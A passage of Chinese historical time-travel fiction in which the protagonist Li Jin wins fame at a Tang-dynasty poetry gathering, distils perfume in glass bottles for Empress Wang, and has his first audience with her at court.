一时间,席间或凝神思索,或挥毫泼墨,或低声吟哦。不多时,便有诗作陆续呈上。崔晔与几位年长些的名士当众吟诵、品评。佳作自然赢得满堂彩,平庸之作也会得到鼓励,气氛热烈而友好。
李瑾安然坐着,并不多言,只静静品酒,欣赏着湖光山色,耳中听着众人诗作。平心而论,唐人诗才确是不凡,即便是在这即兴场合,也有不少句子清新可喜,意境不俗。当然,也有堆砌辞藻、无病**之作。
杜铭捅了捅他,低声道:“瑾兄,何不也赋诗一首,让诸位品鉴品鉴?” 他带李瑾来,就是盼着他能一鸣惊人,自己也脸上有光。
李瑾微笑摇头:“小弟才疏学浅,诸位兄台珠玉在前,岂敢班门弄斧?赏诗便是佳趣。”
他这般谦逊,反倒让旁边几位士子觉得他或是心虚。一位与杜铭不甚对付的蓝衣士子,姓郑,出自荥阳郑氏,向来眼高于顶,闻言便笑道:“李兄何必过谦?杜兄可是将你的诗才夸得天上有地下无。今日盛会,正该让我等开开眼界才是。” 话中带着明显的挑衅。
许元瑜看了那郑姓士子一眼,并未说话,只是端起酒杯,目光落在李瑾身上,想看他如何应对。
李瑾心中苦笑,知道今日怕是难以藏拙了。他本意低调,但既然被架到火上,再推辞反而显得矫情或无能。略一沉吟,便道:“既如此,在下便献丑,作一首小诗,聊以助兴,还请诸位方家斧正。”
众人目光顿时聚焦过来。杜铭一脸期待,许元瑜若有所思,郑姓士子则面带讥诮,等着看笑话。
李瑾离席,缓步走至水边,负手望着烟波浩渺的曲江池,以及池畔如织的游人与缤纷的落英。暮春的风带着暖意,拂动他的衣袂。他脑海中飞速掠过无数唐诗宋词,须臾之间,已有定计。不能太过惊世骇俗,需贴合时景,又要显出格局气度,最好还能隐约透出点不同寻常的视角。
他转身,对侍立一旁的笔吏微微颔首。笔吏早已铺好宣纸,磨浓了墨。
李瑾提笔,略一沉吟,挥毫而就。笔走龙蛇,一行行清峻挺拔的行楷跃然纸上:
《曲江春暮感怀》
曲江水满花千树,
暮色苍然入画图。
人乐芳时争载酒,
我独临流问荻芦。
荻花如雪吹还起,
世事浮云卷复舒。
莫道春归无觅处,
且看新绿上平芜。
诗成,笔吏恭敬地将诗笺呈给主持崔晔。崔晔接过,低声吟哦一遍,眼中闪过一丝讶异,不由又看了一遍,这才清了清嗓子,朗声诵读出来。
诗声清越,回荡在曲水亭畔。起初几句,写景生动,对仗工整,“人乐芳时争载酒,我独临流问荻芦”一句,于喧闹中见孤怀,已显不俗。待到“荻花如雪吹还起,世事浮云卷复舒”一出,那份对世事无常、时光流转的深沉感悟,以及“如雪”、“浮云”的精准比喻,让在场许多士子为之动容。而最后两句“莫道春归无觅处,且看新绿上平芜”,于伤感中陡然振起,豁达中蕴含生机,境界顿开。
诗毕,场中静了一瞬,随即响起一片低声赞叹。
“好一个‘我独临流问荻芦’!孤高自许,情怀别具!”
“‘世事浮云卷复舒’,妙喻!道尽人间常态。”
“结句尤佳!不滞于伤春,转而见生机,胸襟开阔!”
杜铭喜形于色,连连抚掌。许元瑜眼中异彩连连,看向李瑾的目光已大不相同。那郑姓士子张了张嘴,想挑刺,却一时不知从何挑起,这诗无论意境、格律、辞章,皆属上乘,尤其是那份超然物外又积极向上的气度,绝非寻常纨绔能及。
崔晔将诗笺传给旁边几位名士品鉴,那几位也是频频点头。崔晔本人更是起身,对李瑾拱手道:“李兄大才!此诗情景交融,感悟深刻,结句尤见襟怀,非寻常伤春悲秋之作可比。今日诗会,有此佳作,增色不少!”
“崔兄过奖了,愧不敢当。”李瑾连忙还礼,态度依旧谦和。
经此一事,席间众人对李瑾的态度明显热络起来。不时有人举杯相邀,探讨诗文。李瑾来者不拒,应答得体,引经据典信手拈来,且见解往往独到,不落窠臼。谈及经史,他也能别出机杼;论及时政,虽不多言,偶有只言片语,却切中要害,显露出不凡的见识。更难得的是他言谈风趣,举止从容,很快便与周遭士子打成一片。
许元瑜暗自观察,越看越是心惊。此子诗才敏捷也就罢了,谈吐见识竟也如此不俗,且沉稳有度,不骄不躁,全然不似他这个年纪(尤其是一度落魄)该有的心性。杜铭说他“深居简出”,只怕是韬光养晦。他心中对李瑾的评价,又高了几分。
诗会继续进行,气氛愈加热烈。除了赋诗,亦有投壶、射覆等雅戏。李瑾参与了几局,表现中规中矩,既不出挑,也不落后,恰到好处。
日头渐西,曲江池上泛起点点金光。就在诗会渐近尾声,众人酒意微醺之际,忽闻一阵悠扬的琴声自不远处的水榭传来。琴声淙淙,如流水潺潺,又似凤鸣九天,瞬间压过了场中的喧哗。
众人循声望去,只见水榭之中,纱帘轻拂,隐约可见一窈窕身影正在抚琴。琴声高妙,显然出自大家之手。
“是公孙大家的琴音!”有人低呼。
“公孙大家今日也来了?”
“想必是受某位贵人所邀……”
琴声流转,忽而高亢如裂帛,忽而低沉如呜咽,将一首《高山流水》演绎得淋漓尽致。众人皆屏息静听,如痴如醉。
琴声渐歇,余韵袅袅。水榭纱帘被侍女挑起,一位身着淡紫衣裙、云鬓高绾的绝色女子,在两位婢女的搀扶下,款步走出。她容貌昳丽,气质清冷,眉宇间却自带一股书卷清气,正是名动长安的琵琶圣手,亦精于琴筝的公孙大娘。她虽身份是乐伎,但技艺超群,结交多是公卿名流,地位超然。
公孙大娘目光流转,在席间扫过,最后竟落在李瑾身上,微微颔首,朱唇轻启,声音如珠玉落盘:“适才闻李公子《曲江春暮》佳作,词句清新,寓意深远。妾身不才,愿以一曲《阳春》相和,不知李公子可愿聆听?”
此言一出,满座皆惊!公孙大娘何等身份?等闲公侯宴请也未必能劳动她亲自献艺,更遑论主动邀和!这李瑾何德何能,竟能得她如此青眼?
无数道或羡慕、或惊讶、或探究的目光,齐刷刷聚焦在李瑾身上。
李瑾也是微微一怔,旋即起身,长揖到地:“公孙大家谬赞,在下愧不敢当。大家琴技超凡,一曲《阳春》,如聆仙乐,在下洗耳恭听。”
公孙大娘浅浅一笑,不再多言,重新坐回琴案后。素手轻抚,琴音再起。此番弹奏的乃是古曲《阳春白雪》,曲调明快昂扬,充满生机,恰与李瑾诗中“且看新绿上平芜”的意境暗合。琴声在她指下流淌,时而如冰雪初融,溪水叮咚;时而如春风拂面,新绿萌发;时而如百鸟争鸣,万物复苏。将一曲《阳春》演绎得生机勃勃,气象万千。
众人听得如醉如痴,便是最挑剔的乐师,也挑不出半分错处。琴声与方才的诗句,一音一文,竟似遥相呼应,相辅相成,更添雅趣。
一曲终了,掌声雷动。公孙大娘盈盈起身,对李瑾方向再施一礼,便由侍女扶着,款款离去,留下一池碧水与满座遐思。
经此插曲,李瑾在本次诗会的风头,可谓一时无两。诗才得了公孙大家的认可,这比任何赞誉都更有分量。
诗会散时,已是暮色四合,华灯初上。许多士子主动前来与李瑾结交,互换名帖。李瑾一一客气应对,既不过分热络,也不失礼数。
杜铭与许元瑜最后才走。杜铭满面红光,拍着李瑾的肩膀:“瑾兄今日可是大大露脸了!哈哈,看那郑二郎,脸都绿了!”
许元瑜则要沉稳得多,他深深看了李瑾一眼,道:“瑾兄大才,今日方知。他日若有暇,可来东宫詹事府寻我,你我煮茶论道,岂不快哉?” 这已是明确的结交之意,且暗示了可引他接触东宫体系。
李瑾心中一动,拱手道:“元瑜兄厚爱,瑾感激不尽。他日定当登门拜访,聆听教诲。”
三人又寒暄几句,方才各自登车离去。
坐在回崇仁坊的牛车上,李瑾掀开车帘,望着窗外长安城的璀璨灯火,神色平静,并无多少得意。诗会扬名,虽在意料之中,但公孙大娘的突然介入,却在他计划之外。这位奇女子为何会对他另眼相看?是真欣赏其诗才,还是别有深意?
不过,无论如何,今日目的已达。他李瑾的名字,算是在长安文人圈中初步立住了。借助杜铭,搭上了许元瑜这条线,更是意外之喜。东宫……或许是个不错的切入点。
他轻轻叩击着车厢壁,思绪飞转。名声是有了,但接下来,如何将这名声转化为实际的助力,如何应对可能随之而来的关注与麻烦,才是关键。尤其是,不能引起某些不必要的、过早的注意。
牛车辘辘,驶入渐深的夜色。曲江池的笙歌渐远,而李瑾在这座伟大城市中的棋局,才刚刚落下第一枚响亮的棋子。前方,是更广阔的舞台,也是更汹涌的暗流。
第22章 巧制香水贡
曲江诗会一鸣惊人,李瑾“诗才”之名悄然在长安年轻士子圈中传开。随之而来的,是各种宴饮邀约、诗社雅集。李瑾大多以“潜心读书、以备科考”为由婉拒,只择其紧要者参加,如杜铭、许元瑜等人的小范围集会。他深知“木秀于林,风必摧之”的道理,尤其在根基未稳时,名声过盛并非全然好事。他需要的是“名”,而非“浮名”;是进入某些圈子的敲门砖,而非成为众矢之的的标靶。
他的精力,更多地投注在更实际的事情上:一是“明玻”作坊的稳步推进,首批精品已秘密制成,正由王掌柜通过隐秘渠道寻找“识货”的顶级买家;二是通过许元瑜这条线,更深入地了解东宫乃至朝堂的微妙动向;三则是他当前谋划的重中之重——如何将“诗名”与“奇技”结合,打开一条通往宫廷的、更稳妥的通道。
机会,在一次与杜铭的私下小聚中悄然浮现。
那日,杜铭邀李瑾至其别业赏玩新得的太湖奇石。酒过三巡,杜铭微醺,话也多了起来:“瑾兄,你那日一曲《曲江春暮》,连公孙大家都青眼有加,愚兄是佩服得紧。如今长安城中,谁不知崇仁坊李郎君诗才清丽,胸怀锦绣?”
李瑾谦逊道:“杜兄过誉,侥幸之作,不足挂齿。倒是杜兄家学渊源,交友广阔,令瑾羡慕。”
杜铭摆摆手,叹了口气:“家学渊源顶什么用?如今这世道,光有诗名不够,还得有实打实的门路,或者……奇货可居的本事。”他压低了声音,“不瞒瑾兄,家母近日颇有些烦恼。我有一姑母,嫁入太原王氏,如今是宫中的……嗯,一位贵人身边得用的女官。”他含糊了一下,但李瑾心领神会,宫中贵人,又姓王,多半与王皇后有些关联。
“姑母前日来信,言及宫中那位贵人近来心绪不宁,夜难安寝,太医署的安神香用了不少,效果却寻常。贵人颇好雅致清香之物,姑母便想寻些新奇不俗的香品进上,或可宽慰一二。只是这长安东西市有名的合香铺子,贡品级的香方试了无数,贵人总觉匠气太重,或香气过于甜腻沉闷,不甚合意。姑母为此发愁,家母也跟着忧心,让我也留心寻访。可这新奇不俗的香品,谈何容易?”
说者无心,听者有意。李瑾心中一动。香品?宫中贵人?王皇后?一条若隐若现的线索在脑海中串联起来。历史上,王皇后容貌端丽但性格较为板正,不得高宗李治欢心,且与萧淑妃争宠处于下风,心绪不宁是常态。若能以此为契机……
他面上不动声色,沉吟道:“宫中用度,自是精益求精。寻常合香,多以沉香、檀香、麝香、龙涎等重料堆叠,香气虽馥郁,久闻确易生腻,且安神之效,重在宁心静气,而非以浓香掩之。”
杜铭眼睛一亮:“哦?听瑾兄此言,似对香道亦有研习?”
“略知皮毛。”李瑾微微一笑,“昔年翻阅杂书,曾见海外异闻,提及大秦(罗马)及大食(阿拉伯)之地,有制‘香水’之法。取其花草果实之精华,溶于‘醇浆’之中,其香清逸持久,变化丰富,可洒于衣袂,可沐于其身,随风散逸,若有若无,最是灵动宜人,安神宁心,或有奇效。且其物清澈如水,盛于琉璃瓶中,观之亦悦目。”
“香水?清澈如水?盛于琉璃瓶?”杜铭听得新奇,酒意醒了大半,“瑾兄可知其制法?”
李瑾故作思索状:“书中记载语焉不详,只道需以鲜花异果,经反复蒸馏、冷凝,取那最精纯的‘香露’,再以秘法融于特制‘醇浆’之中。工序繁琐,所得极珍。我此前也曾依古法胡乱试制过一二,只得些粗浅花露,香气淡薄,难登大雅之堂。或许……可再细细揣摩古方,加以改良?”
他这话半真半假。蒸馏提取“精油”,利用酒精(醇浆)作为溶剂制作香水,原理他自然懂。但唐代已有简单的蒸馏技术(用于炼丹、制酒),只是尚未广泛应用于香品。而酒精提纯浓度是难点,鲜花来源和保鲜也是问题。但这些,恰恰是他可以“发挥”的地方。更重要的是,他手中有“明玻”!若能以晶莹剔透的玻璃瓶盛装那“清澈如水”的香水,其视觉效果和珍贵感,将呈几何级数提升!这绝非寻常香囊、香饼可比。
杜铭闻言,怦然心动。若真能制成此等新奇雅致的“香水”,进献宫中,必能解姑母之困,讨得贵人欢心,自己乃至家族也能长脸。更重要的是,李瑾提到“盛于琉璃瓶”——琉璃难得,清澈如水者更是价值连城。若李瑾真能弄到……杜铭看向李瑾的眼神顿时不同了。这位李兄,似乎总能给人惊喜。
“瑾兄若有把握一试,需要什么材料、器具,尽管开口!”杜铭热切道,“钱财人力,皆由我来筹措!若能成事,不仅姑母、家母感激不尽,便是宫中……也必记瑾兄一份人情!” 这“人情”二字,他咬得颇重。
李瑾要的就是他这句话。他沉吟道:“杜兄厚意,瑾感激不尽。然此物制法繁难,成败难料,需反复试验。材料倒也寻常,无非是四季鲜花、诸般香料,以及上等醇酒。只是这提炼融合之法,火候时机,差之毫厘,谬以千里。且盛放之器,需晶莹剔透、密封极佳之琉璃瓶,方能显其珍稀。此物……我或可设法。”
听到“琉璃瓶”李瑾自称“或可设法”,杜铭心中大定,更觉李瑾深不可测,连连拍胸脯保证一切所需由他张罗。
数日后,杜铭便在城外自家的一处僻静庄园内,为李瑾准备了一间独立的院落,并送来了大量新鲜的蔷薇、茉莉、兰花等时令香花,以及沉香、檀香木片、龙脑、苏合香等各种香料,还有十几坛上好的三勒浆(一种唐代名酒,酒精含量较高)。李瑾以“古法秘制,不宜旁观”为由,只让李福打下手,紧闭院门,开始了“香水”的研制。
真正的难点在于提纯酒精和萃取“精油”。李瑾设计了简单的冷凝回流装置,利用水浴加热三勒浆,收集挥发出的酒精蒸气,经过多次重复蒸馏,得到了浓度约莫四五十度的“醇浆”,虽不及后世高度酒,但作为溶剂已勉强可用。鲜花精油的萃取则更费工夫,他采用水上蒸馏法,将花瓣置于隔板上,下方沸水产生蒸汽,携带花香精油上升,遇冷凝结,得到混合了微量精油的花露。再将这些花露与提纯后的“醇浆”按不同比例混合,静置陈化,并加入极少量的天然固定剂(如麝香、龙涎香酊剂)尝试。
经过数十次失败的尝试,李瑾终于得到了几种香气相对稳定、层次较为丰富的香水原液。他将其过滤澄清,得到清澈微带颜色的液体。最重要的点睛之笔,是他从“明玻”作坊取来的几个小巧玲珑的玻璃瓶。这些瓶子是他亲自设计、由老匠人费尽心血吹制而成,不过拇指大小,形如泪滴,晶莹剔透,毫无杂质气泡,在阳光下折射出迷离光彩。瓶塞则用软木精心削制,裹以丝绸,确保密封。
李瑾将不同香型的香水注入不同的玻璃瓶中,分别贴上小笺,上书“蔷薇清露”、“茉莉幽韵”、“兰芷同心”、“檀香静悟”等雅名。每一瓶,不过盈盈一握,内中液体清澈微漾,映着剔透瓶身,美不胜收。
当李瑾将这几瓶“香水”呈于杜铭眼前时,杜铭彻底惊呆了。他颤抖着手拿起一瓶“蔷薇清露”,拔开裹着丝绸的软木塞,一股清新而持久的蔷薇花香,混合着一丝难以言喻的醇冽气息,幽幽散发开来,瞬间盈满一室。那香气,不似寻常熏香那般浓烈扑鼻,而是清雅飘逸,若有若无,仿佛带着晨露的鲜活,直透心脾。再观那瓶身,晶莹剔透,宛若水晶,却又比水晶更显温润,瓶中美液微微荡漾,光华流转。
“此……此真乃仙家之物!”杜铭激动得语无伦次,“香气清远脱俗,瓶器巧夺天工!瑾兄,你……你真乃神人也!”
李瑾微笑:“杜兄过誉。侥幸成功罢了。此物用法也简,可滴少许于腕间、耳后,或洒于衣袂裙裾,香气随身,终日不散。亦可滴于沐汤之中,或置于枕畔案头,有安神静气之效。还请杜兄转呈令姑母,请贵人品鉴。”
杜铭如获至宝,小心收起,第二日便通过其母,紧急送入宫中,交到他那在王皇后宫中担任掌事女官的姑母手中。
等待回音的日子里,李瑾并未闲着。他通过密码书信,将此事简要告知了感业寺中的武曌(媚娘)。并非寻求意见,而是一种通报和维系。信中,他略去了香水的具体制法与玻璃瓶的来历,只言“偶得古方,制新奇香露,托人进献宫中,或可为一敲门砖。寺中诸事,万望谨慎,静待良机。”
很快,他收到了武曌的回信。字迹依旧清隽,语气平静,但李瑾能从中读出一丝细微的波动:“闻君有进,甚慰。香露事,闻之雅致,然宫闱深重,喜怒难测,慎之。闻皇后性端严,好礼佛,恶奢靡。萧妃娇宠,喜华艳。献物当投其所好,亦需防怀璧其罪。寺中一切如常,慧明处已妥,郭家事亦有进展。静候佳音。”
寥寥数语,却包含了关键信息:提醒他注意王皇后与萧淑妃的不同喜好与性格,警告他皇宫险恶,同时汇报了她那边的进展——已初步搞定知客僧慧明,郭老夫人来寺做法事的相关打点也有眉目了。这份冷静的分析与同步,让李瑾暗自点头。她果然迅速进入了状态,并能从有限信息中做出精准判断。
五日后,杜铭兴冲冲地来访,屏退左右,压低声音,满面红光:“瑾兄!大喜!姑母传话出来,贵人用了那‘蔷薇清露’和‘兰芷同心’,极是喜欢!赞其香气清雅不俗,有宁神之效,连日来睡眠安稳许多。尤其盛放之琉璃瓶,晶莹可爱,贵人爱不释手,置于妆台,时常把玩!”
李瑾心中一松,成了!第一步走得稳妥。
杜铭继续道:“姑母说,贵人问起此物来历。姑母按我们商议的,只说是你——一位宗室子弟,诗才卓著,兼通杂学,偶从海外残卷中复原古方,精心制成此香露,不敢私藏,特托她进献,聊表孝心。贵人听后,颇为惊讶,言道:‘宗室中竟有如此巧思雅致之人?’姑母趁势进言,说你不慕荣利,一心向学,且对香道、格物颇有心得。贵人便说……”他顿了顿,眼中放光,“若有机会,可让你入宫,当面向她阐述这香露的妙处,或许……还能为宫中调制些合用的香品!”
李瑾心中狂跳,脸上却保持平静:“杜兄,此话当真?入宫觐见,兹事体大,瑾何德何能……”
“千真万确!”杜铭兴奋道,“虽是‘有机会’,但姑母既如此说,必有安排。只是……”他略一迟疑,低声道,“姑母也提醒,宫中近日不甚太平。皇后殿下虽喜此物,但萧淑妃那边……听闻此事,似乎有些不豫。且皇后殿下近来因陛下久不至中宫,心绪郁结,非区区香露可解。姑母之意,若瑾兄能再献上一二妙策,或精巧之物,能更得殿下欢心,甚至……有助于殿下挽回圣心,那此番机缘,方算稳妥。”
李瑾听明白了。王皇后收下香水,表示初步认可,给了个“有机会”的口头许诺。但这机会能否兑现,有多大价值,取决于他后续的“表现”。萧淑妃可能因此事生妒,是潜在风险。而王皇后当前的核心诉求,恐怕不只是新奇玩物,更是如何挽回皇帝李治的心。这才是难点,也是机遇。
“多谢杜兄和令姑母提点。”李瑾拱手,心思电转,“挽回圣心……此非易事。皇后殿下母仪天下,德行昭彰,陛下岂有不敬之理?或许是政务繁忙,或许是……偶有误会。瑾以为,投其所好,润物无声,或比直谏更有效。”
“哦?瑾兄有何高见?”杜铭忙问。
“陛下雅好诗文,崇尚文治。皇后殿下若能时常以诗文与陛下唱和,或可增闺阁之趣。瑾不才,于诗道略有心得,或可为殿下参谋一二,草拟些应景唱和之作,供殿下参详。” 李瑾提出第一条,以诗文为桥,这是他的长项,且相对安全。
杜铭点头:“此计甚好!姑母也曾劝殿下多与陛下诗文往来。”
“此外,”李瑾斟酌道,“陛下似乎对海外奇物、格致新学颇有兴趣。瑾偶得一些海外趣谈、精巧机关图谱,或可整理成册,进献殿下。殿下闲暇时观之,或可与陛下闲谈,增广见闻,亦是雅事。” 这是展示他“杂学”能力,投李治所好,间接帮助王皇后。
“还有这香露,”李瑾最后道,“可不止安神一用。瑾还可调制专用于沐浴、润发、乃至熏衣的香露,香气或淡雅或明媚,各有不同。女子妆容、仪态,亦是重要。瑾知晓一些海外养颜洁面、梳理青丝的偏方,或可一并献上。殿下凤体安康,容颜焕发,陛下见之,岂不欣悦?”
杜铭听得两眼放光,击掌赞叹:“妙!妙啊!瑾兄思虑周全!诗文唱和增情趣,奇谈新知投所好,香露妆品悦容颜……层层递进,不着痕迹!姑母知晓,必定欣喜!”
两人又密议良久,敲定诸多细节。李瑾承诺尽快整理诗文、趣谈图谱以及新的香露妆品方子。杜铭则负责打通宫中关节,传递消息物品。
送走杜铭,李瑾独立院中,望向皇城方向。夜幕下的宫阙,灯火阑珊,却仿佛隐藏着无尽的漩涡。
香水,只是敲门砖。真正的考验,在于门敲开之后,如何在这复杂的宫廷博弈中立足,并为自己和武曌,找到那丝破局而出的契机。王皇后的橄榄枝,是机遇,也可能是陷阱。萧淑妃的敌意,更是不容忽视的暗箭。
但无论如何,通往那重重宫阙的第一道门缝,已被那晶莹的琉璃瓶和清雅的香气,悄然撬开了一丝。
第23章 初闻王皇后
初夏的阳光透过精致的雕花窗格,在紫宸殿侧殿光洁的金砖地面上投下斑驳光影。空气里弥漫着淡淡的、清冽的檀香,混合着一种更幽微、更持久的甜香——那是李瑾进献的“兰芷同心”香水,被巧妙地滴在殿角错金博山炉的银片上的余韵。香气宁神,却驱不散这深宫中无处不在的、沉滞而压抑的气息。
李瑾垂手立于侧殿偏厢,等待着觐见的传召。他身上穿着一件崭新的天青色圆领襕衫,料子是杜铭着人送来的上好吴绫,款式简洁合体,既不过分华贵惹眼,也符合觐见皇后的礼仪。这是他穿越以来,第一次如此接近大唐帝国的权力核心。尽管只是后宫,尽管要见的并非皇帝,而是一位已隐隐失势的皇后,但那种无形的、厚重的威仪,仍透过每一根梁柱、每一幅帷幔、每一个低头敛目、步履无声的宫人,沉甸甸地压过来。
他能听见自己平稳而略快的心跳。紧张吗?当然。但他更多的是一种近乎冰冷的审慎与观察。历史的画卷正以一种前所未有的清晰度,在他眼前缓缓展开一角。王皇后,这个在史书中被寥寥数笔带过、最终悲剧收场的女人,即将真实地出现在他面前。
引他前来的,是一位年约三旬、面容肃穆、举止一丝不苟的女官,姓周,正是杜铭的姑母,王皇后身边颇为得用的掌事宫女。一路上,周女官话语不多,只低声提点了些觐见的规矩礼仪,眼神中带着审视,也有一丝不易察觉的期待。李瑾知道,自己今日的表现,不仅关乎自身,也关乎杜家,更关乎周女官在王皇后面前的体面。
“李公子,请随奴婢来,皇后殿下宣见。” 一个约莫十五六岁、眉眼清秀的小宫女从内殿悄步走出,细声细气地通传。
李瑾深吸一口气,敛衽正冠,跟着小宫女,迈过那扇通往内殿的朱红门槛。步履不急不徐,目光微垂,恰到好处地表现出恭敬与拘谨,又不失士子风仪。
内殿比外厢更加宽敞明亮,陈设却反显素雅。没有过多金玉堆砌,多是紫檀木的家具,线条简洁流畅。多宝阁上陈列着一些古器、书卷,墙上挂着几幅意境幽远的山水画,整体氛围端庄清寂,甚至……透着些许冷清。这与李瑾想象中的皇后寝宫颇有些不同,少了几分富丽堂皇,多了几分书卷气和一种刻意维持的、略带僵硬的“雅正”。
殿中央的紫檀木嵌螺钿榻上,端坐着一位宫装女子。她穿着正红色的广袖蹙金鸾纹祎衣,头戴博鬓冠,缀着步摇,妆容精致,仪态万方。这便是王皇后了。单论容貌,她无疑是美丽的,标准的鹅蛋脸,柳眉杏目,鼻梁挺直,唇形优美。但这份美丽,仿佛被一层严丝合缝的礼仪铠甲包裹着,显得有些刻板,缺乏生气。她的眼神平静,甚至有些过于平静,如同两潭深水,波澜不惊,却让人看不出底下是温是寒。眉宇间,隐约笼着一层淡淡的、挥之不去的郁色,即便在精致的妆容和华丽的服饰下,也难以完全掩盖。
“臣李瑾,参见皇后殿下,殿下千岁。” 李瑾趋步上前,依礼躬身长揖。他未得官职,自称“臣”是谦称,也是宗室子弟在皇后面前的通用自称。
“平身,赐座。” 王皇后的声音响起,音色清越,语调平稳,透着惯常的威严,但细听之下,似乎有一丝不易察觉的疲惫。
“谢殿下。” 李瑾谢恩,在宫女搬来的绣墩上侧身坐下,只坐了半边,腰背挺直,目不斜视。
短暂的沉默。王皇后的目光落在李瑾身上,带着审视。她早已从周女官和杜家那里,听说了这个年轻宗室子的“奇事”——诗才惊艳,能复原海外古方,制出那等清雅绝伦的“香水”,为人却低调谦和。今日一见,相貌清俊,举止得体,眼神清明沉静,倒不似那等轻浮浪荡或谄媚钻营之徒。这第一印象,不算坏。
“那‘蔷薇清露’与‘兰芷同心’,本宫用了,颇觉清心宁神,香气也雅致,迥异寻常合香。” 王皇后开口,话题自然地从香水切入,“听闻是你依古方所制?”
“回殿下,正是。” 李瑾恭敬答道,“臣少时体弱,寡于交游,唯好读书。曾于市井杂摊偶得残卷数页,似是前朝自西域流入的香方杂录,语焉不详。臣闲来无事,依其上所述原理,胡乱尝试,侥幸成功一二。本是小道玩物,不敢私藏,闻听殿下凤体欠安,夜难安寝,故冒昧进献,若能稍解烦忧,便是臣的造化。” 他将来源推给“西域残卷”,既解释了来历,又降低了“奇技淫巧”可能带来的非议,更点明是“听闻凤体欠安”才进献,显得体贴而非献媚。
王皇后微微颔首,似乎接受了他这个说法。“你倒是有心。那琉璃瓶亦是精巧,晶莹剔透,胜似水晶,也是依古法所制?”
“此瓶……” 李瑾略一迟疑,这比香水更敏感,但早已想好说辞,“乃臣试验古方时,偶得副产品。本欲烧制药用器皿,不想火候机缘巧合,得此晶莹之物。自觉有趣,便打磨了盛放香露,取其密封避光之效。粗陋之物,能入殿下青眼,实是侥幸。”
“偶得?” 王皇后唇角似乎极轻微地动了一下,不知是信了还是没信,但并未深究。她话锋一转:“本宫听闻,你诗才亦是不俗,前日曲江文会,一首《曲江春暮》,连公孙大家都赞赏有加?”
“殿下过誉。偶有感触,信口胡诌,实是贻笑大方。公孙大家谬赞,臣愧不敢当。” 李瑾连忙欠身,姿态放得更低。
“不必过谦。诗以言志,能得公孙大家一赞,自有其可取之处。” 王皇后的语气听不出什么情绪,仿佛只是陈述事实,“你既是宗室子弟,又通诗书,可知‘窈窕淑女,君子好逑’之后,当为何句?”
李瑾心中微凛。这并非简单考较诗文,更像是一种试探,试探他的心性与志向。他略作思忖,谨慎答道:“回殿下,是‘参差荇菜,左右流之’。然臣以为,此句之后,‘求之不得,寤寐思服’方是寻常人情。而《关雎》之旨,终归于‘琴瑟友之’、‘钟鼓乐之’的谐和。诗教温柔敦厚,发乎情,止乎礼,终究是教人明伦常、知进退。” 他既回答了诗句,又引申到诗教伦常,既展现学识,又表明自己恪守礼法、安分知足的态度。
王皇后静静地听着,手指无意识地抚过腕间一串莹润的玉镯。良久,才缓缓道:“明伦常,知进退……说得不错。只是这世间,并非人人都能恪守伦常,知晓进退。” 她的声音里,终于泄露出一丝极淡的倦意与……无奈。
李瑾心知肚明她所指何事,但伴作不知,只是垂首道:“殿下教训的是。然礼法纲常,乃立身之本,治国之基。臣虽愚钝,亦知守分安常,方是正理。”
又是一阵沉默。殿内香炉青烟袅袅,气氛微妙。周女官侍立一旁,眼观鼻,鼻观心。
“你献香有功,本宫自有赏赐。” 王皇后似乎结束了关于诗文的探讨,回到正题,“听闻你还通晓些海外的奇闻异事,格物之理?”
“臣不敢言通晓,只是读书杂驳,偶有涉猎,一知半解。” 李瑾谨慎回答。
“嗯。” 王皇后点了点头,似乎斟酌着词句,“陛下近日操劳国事,偶有头痛之疾,太医署用药,总嫌沉闷。你既通香道,可有什么清新提神、又不失雅致的方子?还有,陛下有时批阅奏章至深夜,目力难免疲惫,可有什么……舒缓之法?”
来了!李瑾精神一振。王皇后果然开始询问“实用”的东西,而且直接关系到皇帝李治。这既是考较,也是给予机会,更是她试图挽回圣心的具体尝试——从这些细微的关怀体贴入手。
“陛下勤政爱民,宵衣旰食,实乃万民之福。” 李瑾先颂圣一句,然后才道,“至于提神香方,臣倒是记得那残卷中有一方,名曰‘龙脑苏合香’,取龙脑、苏合、安息、丁香等数味,佐以薄荷、柑橘清露,气息清冽醒神,于闷热烦倦时用之,颇有奇效。若陛下不弃,臣可试制进上。”
“龙脑苏合香……” 王皇后重复了一遍,微微颔首,“可。你且制来,若好,本宫自有计较。”
“至于舒缓目力……” 李瑾继续道,“臣曾闻海外有法,以温热毛巾敷于双目,可活络气血,缓解疲乏。或可于巾帕之上,滴少许清肝明目的花露,如菊花、决明子所蒸露水,效果更佳。此外,读书批阅时,灯火明暗需适宜,过明过暗皆伤目。可于灯盏旁置一浅水铜盆,借水面反光,使光线柔和均匀,或有所助益。” 他说的都是符合时代认知、简单易行的方法,不会显得过于怪异。
王皇后听得很仔细,眼中闪过一丝思索。这些法子听起来简单,却透着巧思,尤其是“水面反光”一说,颇有意趣。她不由得多看了李瑾一眼,这个年轻人,似乎肚子里确实有些不一样的货色,且懂得分寸,知道什么该说,什么不该说。
“你有心了。这些法子,本宫记下了。” 王皇后的语气似乎缓和了少许,“你既有些巧思,日后若再有新奇合用之物,或海外有趣的见闻典故,可经由周尚宫递话进来。陛下……与本宫,平日也喜听些新鲜故事,解解闷。”
“臣遵命。能得为殿下与陛下分忧解闷,是臣的福分。” 李瑾起身,恭敬行礼。他知道,这算是初步得到了一个“递话”的渠道,虽然微小,却是关键的一步。
“嗯,退下吧。周尚宫,看赏。” 王皇后恢复了最初的平静威严,摆了摆手。
“奴婢遵命。” 周女官应道,引着李瑾退出内殿。
出了殿门,阳光有些刺眼。李瑾随着周女官默默前行,直到走出皇后寝宫范围,来到一处僻静回廊,周女官才停下脚步,转身对李瑾福了一礼,低声道:“李公子今日应对得体,殿下……应是满意的。那龙脑苏合香,还请公子费心。陛下近来……确实常宿在两仪殿书房,或是……淑景宫。” 她声音压得极低,最后三个字几乎微不可闻,但李瑾听清了——淑景宫,那是萧淑妃的寝宫。
李瑾心中了然,再次拱手:“多谢尚宫提点。瑾必当尽心竭力。”
周女官点点头,不再多言,唤来一名小太监,让他引李瑾出宫,自己则转身回去了。
坐在出宫的马车里,李瑾轻轻舒了口气,后背竟已微有汗意。与王皇后这番简短的对答,看似平淡,实则步步惊心。每一句话,每一个表情,都可能藏着深意。他努力回忆着刚才的每一个细节,分析着王皇后的态度。
她对自己基本是认可的,甚至有一丝欣赏,但这份欣赏很有限,更多的是对自己“有用”的评估。她处境确实不佳,眉宇间的郁结和提及皇帝时的微妙停顿都说明了这一点。她试图通过这些小关怀挽回圣心,但方法似乎有些……笨拙和被动。她缺乏那种足以打动帝王、扭转乾坤的灵慧与魅力,更像个严格遵守后宫规则的“模范”,却不知如何打破僵局。
